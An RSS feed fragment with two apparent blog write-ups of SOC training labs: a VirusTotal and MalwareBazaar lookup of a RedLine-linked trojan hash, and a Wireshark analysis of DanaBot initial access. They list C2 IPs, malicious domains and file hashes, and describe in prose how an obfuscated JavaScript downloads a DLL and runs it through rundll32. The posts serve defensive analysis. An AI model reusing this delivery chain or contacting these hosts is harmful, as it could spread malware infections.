            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*-2PYlHc73dsxasVq5ZZVgA.png" /></figure><h4>Objective:</h4><p>Analyze a suspicious executable using VirusTotal and MalwareBazaar to extract IOCs, identify C2 infrastructure, MITRE ATT&amp;CK techniques, and privilege escalation mechanisms.</p><h4>Scenario:</h4><p>You are part of the Threat Intelligence team in the SOC (Security Operations Center). An executable file has been discovered on a colleague’s computer, and it’s suspected to be linked to a Command and Control (C2) server, indicating a potential malware infection.<br>Your task is to investigate this executable by analyzing its hash. The goal is to gather and analyze data beneficial to other SOC members, including the Incident Response team, to respond to this suspicious behavior efficiently.</p><h4>Tools:</h4><ul><li>Whois</li><li>VirusTotal</li><li>MalwareBazaar</li><li>ThreatFox</li><li>ANY.RUN</li></ul><h4>Procedure:</h4><p>We got a file hash as IOC when we put it in VirusTotal i get that Categorizing malware allows for a quicker and easier understanding of the malware, aiding in understanding its distinct behaviors and attack vectors. the identified malware’s category is <strong><em>trojan</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tpKYSC6tOn1PQYeAHaLEpA.png" /></figure><p>Clear identification of the malware file name facilitates better communication among the SOC team. further analysis in virustotal we can identify the file name associated with this malware which is <strong><em>Wextract</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*D8IM6PpcGLkMJFj8QIXhpg.png" /></figure><p>Knowing the exact time the malware was first seen can help prioritize actions. If the malware is newly detected, it may warrant more urgent containment and eradication efforts compared to older, well-known threats. So we need to provide the UTC timestamp of first submission of this malware on VirusTotal and We found the timestamp of first submission is about <strong><em>2023–10–06 04:41.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*UPPyP16EQ6SLsy3tYwsBkA.png" /></figure><p>Understanding the techniques used by malware helps in strategic security planning. So wee need to find the MITRE ATT&amp;CK technique ID for the malware’s data collection from the system before exfiltration. The ID is <strong><em>T1005</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*X3QqfuEZWjmzsGOOQqhAKw.png" /></figure><p>Following execution, The domain name resolution is performed by the malware is <strong><em>facebook.com .</em></strong>Once the malicious IP addresses are identified, network security devices such as firewalls can be configured to block traffic to and from these addresses. So we need to provide the IP address and destination port the malware communicates with . The IP is <strong><em>77.91.124.55:19071.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*JiWWRrvrKSGaDRGc71OcfQ.png" /></figure><p>YARA rules are designed to identify specific malware patterns and behaviors. the name of the YARA rule created by “Varp0s” todetects the identified malware is <strong><em>detect_Redline_Stealer</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*BP76wCfrs_1T8LdKanauSA.png" /></figure><p>Understanding which malware families are targeting the organization helps in strategic security planning for the future and prioritizing resources based on the threat. So it need to provide the different malware alias associated with the malicious IP address and we found <strong><em>RECORDSTEALER</em></strong><em> </em>also part for this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*OqZ4mx4BRsQLcY8_7XJIYg.png" /></figure><p>By identifying the malware’s imported DLLs, we can configure security tools to monitor for the loading or unusual usage of these specific DLLs. so we need to provide the DLL utilized by the malware for privilege escalation and we found it is <strong><em>ADVAPI32.dll</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*NZRWb04QgAn_3xfRJTpNvQ.png" /></figure><p>So the basic analysis of malware is here done.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e7249048fcc" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[DanaBot Lab]]></title>
            <link>https://medium.com/@mohammadshamil225/danabot-lab-bcd1c1d450d8?source=rss-effe651bdde6------2</link>
            <guid isPermaLink="false">https://medium.com/p/bcd1c1d450d8</guid>
            <dc:creator><![CDATA[Mohammad shamil]]></dc:creator>
            <pubDate>Thu, 15 Oct 2026 05:44:15 GMT</pubDate>
            <atom:updated>2026-10-15T05:45:58.701Z</atom:updated>
            <content:encoded><![CDATA[<h3>Report:-</h3><h4>Objective:</h4><p>Analyze network traffic using Wireshark to identify DanaBot initial access, deobfuscate malicious JavaScript, and extract IOCs like IPs, file hashes, and execution processes.</p><h4>Scenario:</h4><p>The SOC team has detected suspicious activity in the network traffic, revealing that a machine has been compromised. Sensitive company information has been stolen. Your task is to use Network Capture (PCAP) files and Threat Intelligence to investigate the incident and determine how the breach occurred.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*pvzLHkU9o_IjKf6sJeTuxA.png" /></figure><h4>Tools Used:</h4><ul><li>Wireshark</li><li><a href="https://obfuscator.io/">obfuscator.io</a></li></ul><h4>Procedure:</h4><p>By analyzing the PCAP file, we can already see a DNS request made to portfolio.serveirc.com.The response to the query reveals the IP address <strong>62.173.142.148</strong>.A search for this IP on <strong>VirusTotal</strong> indicates that it is flagged as malicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6vAGT0h3Fz1SfYyYjtCx8w.png" /></figure><p>Export the HTTP objects from Wireshark (File -&gt; Export Objects -&gt; HTTP) and look for files with suspicious content types like application/octet-stream. Pay special attention to files with PHP extensions that might not actually be PHP files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CW_7t_UJDERpP1-48bW5gA.png" /></figure><p>By reviewing the exported HTTP objects, a file named login.php stands out due to its content type being application/octet-stream, which indicates it might not be a simple PHP file but could contain encoded or obfuscated data. To validate the suspicion about login.php, download the file from the HTTP stream and analyze it further investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RA69QdA6OZxVt74bemFAtg.png" /></figure><p>Running the file command in Linux on login.php reveals that it is a JavaScript file with a large size (5558 bytes) and has no line terminators, a characteristic often associated with obfuscated or minified JavaScript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QI8Av40P6YzWK8yLVjs65A.png" /></figure><p>To understand the behavior of this JavaScript, it’s necessary to deobfuscate it. Obfuscation is a common technique used in malware to conceal the script’s true purpose. In this case, I used an online tool — <strong>deobfuscate.io</strong> — to decode the script. By copying and analyzing the entire content of <strong>login.php</strong>, I was able to reveal a more readable and understandable version of the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1lrdf7ZLjWLVEfS9OTriWw.png" /></figure><p>The deobfuscated script reveals that it uses ActiveX objects to carry out malicious actions. It contains commands to download a file named <strong>resources.dll</strong> from the domain <strong>soundata.top</strong> and then executes it using <strong>rundll32.exe</strong>, a legitimate Windows tool commonly exploited for running malicious code. Additionally, the script removes itself after running, which is an anti-forensic tactic meant to make analysis more difficult.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*XA0_ccw1k2-Kq4jrI0bPzA.png" /></figure><p>This confirms that the server is delivering either binary or encoded content. Moreover, the <strong>Content-Disposition</strong> header specifies the file name as <strong>allegato_708.js</strong>, indicating that a JavaScript file is being served as a downloadable attachment.The SHA-256 hash of the malicious file used for initial access can be computed using the following bash command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*eIAjFXkoT7n6I6pXob7W4A.png" /></figure><p>Resulting in the hash value: 847b4ad90b1bda2d9117ae05776f3f902dda593fb15222895938acf476c4268. This uniquely identifies the login.php file, which has been confirmed to contain malicious obfuscated JavaScript.</p><p>When the JavaScript file runs, it is processed by <strong>WScript.exe</strong>, which triggers the execution of the embedded commands. For example, the deobfuscated script uses <strong>WScript.CreateObject</strong> to call system tools — such as creating an HTTP object to download the <strong>r</strong><strong>esources.dll</strong> file and executing it through <strong>rundll32.exe</strong>. By leveraging <strong>WScript.exe</strong>, the malware ensures it operates seamlessly within the Windows environment, exploiting built-in scripting capabilities to deliver and run its payload.</p><p>As shown in the previous analysis, the second file downloaded by the obfuscated script is <strong>resources.dll</strong>, which has a <strong>.dll</strong> extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*UOkLhT66JLdjdjFXUgrmlQ.png" /></figure><p>The computed md5 hash of the DLL is e758e07113016aca55d9eda2b0ffeebe.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bcd1c1d450d8" width="1" height="1" alt="">]]></content:encoded>
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